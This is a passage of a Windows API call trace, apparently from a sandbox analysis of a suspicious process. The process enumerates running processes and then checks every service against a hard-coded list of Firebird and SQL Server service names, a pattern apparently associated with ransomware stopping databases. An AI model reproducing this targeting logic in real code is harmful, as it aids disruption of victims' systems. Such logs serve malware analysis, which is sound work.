th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0172.624] lstrlenW (lpString="wmxsde.exe") returned 10 [0172.624] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0172.625] lstrlenW (lpString="cmd.exe") returned 7 [0172.625] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0172.625] lstrlenW (lpString="conhost.exe") returned 11 [0172.625] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0172.626] lstrlenW (lpString="consent.exe") returned 11 [0172.626] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0172.627] CloseHandle (hObject=0x540) returned 1 [0172.627] Sleep (dwMilliseconds=0x1f4) [0173.191] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f1f0 [0173.191] EnumServicesStatusExW (in: hSCManager=0x459f1f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0173.192] GetLastError () returned 0xea [0173.192] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x462ef90 [0173.193] EnumServicesStatusExW (in: hSCManager=0x459f1f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x462ef90, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x462ef90, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0173.194] CloseServiceHandle (hSCObject=0x459f1f0) returned 1 [0173.194] lstrlenW (lpString="Appinfo") returned 7 [0173.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0173.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0173.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0173.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0173.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0173.195] lstrlenW (lpString="AppXSvc") returned 7 [0173.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0173.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0173.195] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0173.195] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0173.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0173.195] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.195] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.195] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.195] lstrlenW (lpString="Audiosrv") returned 8 [0173.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0173.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0173.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0173.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0173.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0173.195] lstrlenW (lpString="BFE") returned 3 [0173.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.195] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.195] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.196] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0173.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.196] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0173.196] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0173.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0173.196] lstrlenW (lpString="CDPSvc") returned 6 [0173.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0173.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0173.197] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0173.197] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0173.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0173.197] lstrlenW (lpString="ClickToRunSvc") returned 13 [0173.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.197] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0173.197] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0173.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0173.197] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0173.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.197] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0173.197] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0173.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0173.197] lstrlenW (lpString="CryptSvc") returned 8 [0173.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.197] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.197] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.197] lstrlenW (lpString="DcomLaunch") returned 10 [0173.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.197] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.197] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0173.197] lstrlenW (lpString="DeviceAssociationService") returned 24 [0173.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.198] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0173.198] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0173.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0173.198] lstrlenW (lpString="Dhcp") returned 4 [0173.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.198] lstrlenW (lpString="Dnscache") returned 8 [0173.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.198] lstrlenW (lpString="DPS") returned 3 [0173.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.198] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.198] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.198] lstrlenW (lpString="DsmSvc") returned 6 [0173.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0173.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0173.198] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0173.198] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0173.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0173.198] lstrlenW (lpString="DusmSvc") returned 7 [0173.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0173.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0173.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0173.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0173.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0173.199] lstrlenW (lpString="EventLog") returned 8 [0173.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0173.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0173.199] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0173.199] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0173.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0173.199] lstrlenW (lpString="EventSystem") returned 11 [0173.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.199] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.199] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.199] lstrlenW (lpString="FontCache") returned 9 [0173.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0173.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0173.199] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0173.199] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0173.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0173.199] lstrlenW (lpString="gpsvc") returned 5 [0173.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.199] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.199] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.199] lstrlenW (lpString="iphlpsvc") returned 8 [0173.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.199] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.200] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.200] lstrlenW (lpString="KeyIso") returned 6 [0173.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0173.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0173.200] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0173.200] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0173.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0173.200] lstrlenW (lpString="LanmanServer") returned 12 [0173.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.200] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.200] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.200] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.200] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.200] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.200] lstrlenW (lpString="lfsvc") returned 5 [0173.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0173.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0173.200] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0173.200] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0173.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0173.200] lstrlenW (lpString="lmhosts") returned 7 [0173.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.200] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.200] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.201] lstrlenW (lpString="LSM") returned 3 [0173.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0173.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0173.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0173.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0173.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0173.201] lstrlenW (lpString="MpsSvc") returned 6 [0173.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.201] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.201] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.201] lstrlenW (lpString="NcbService") returned 10 [0173.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0173.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0173.201] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0173.201] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0173.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0173.201] lstrlenW (lpString="netprofm") returned 8 [0173.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.201] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.201] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.201] lstrlenW (lpString="NgcSvc") returned 6 [0173.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0173.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0173.201] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0173.201] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0173.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0173.201] lstrlenW (lpString="NlaSvc") returned 6 [0173.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.202] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.202] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.202] lstrlenW (lpString="nsi") returned 3 [0173.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.202] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.202] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.202] lstrlenW (lpString="PcaSvc") returned 6 [0173.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.202] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.202] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.202] lstrlenW (lpString="PlugPlay") returned 8 [0173.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.202] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.202] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.202] lstrlenW (lpString="Power") returned 5 [0173.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.202] lstrlenW (lpString="ProfSvc") returned 7 [0173.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.203] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.203] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.203] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.203] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.203] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.203] lstrlenW (lpString="RpcSs") returned 5 [0173.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.203] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.203] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.203] lstrlenW (lpString="SamSs") returned 5 [0173.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.203] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.203] lstrlenW (lpString="Schedule") returned 8 [0173.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.203] lstrlenW (lpString="SecurityHealthService") returned 21 [0173.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.203] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0173.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0173.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0173.204] lstrlenW (lpString="SENS") returned 4 [0173.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.204] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.204] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.204] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.204] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.204] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.204] lstrlenW (lpString="Spooler") returned 7 [0173.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.204] lstrlenW (lpString="StateRepository") returned 15 [0173.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0173.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0173.204] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0173.204] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0173.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0173.204] lstrlenW (lpString="SysMain") returned 7 [0173.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0173.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0173.204] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0173.204] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0173.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0173.204] lstrlenW (lpString="SystemEventsBroker") returned 18 [0173.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0173.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0173.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0173.205] lstrlenW (lpString="Themes") returned 6 [0173.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0173.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0173.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0173.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0173.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0173.205] 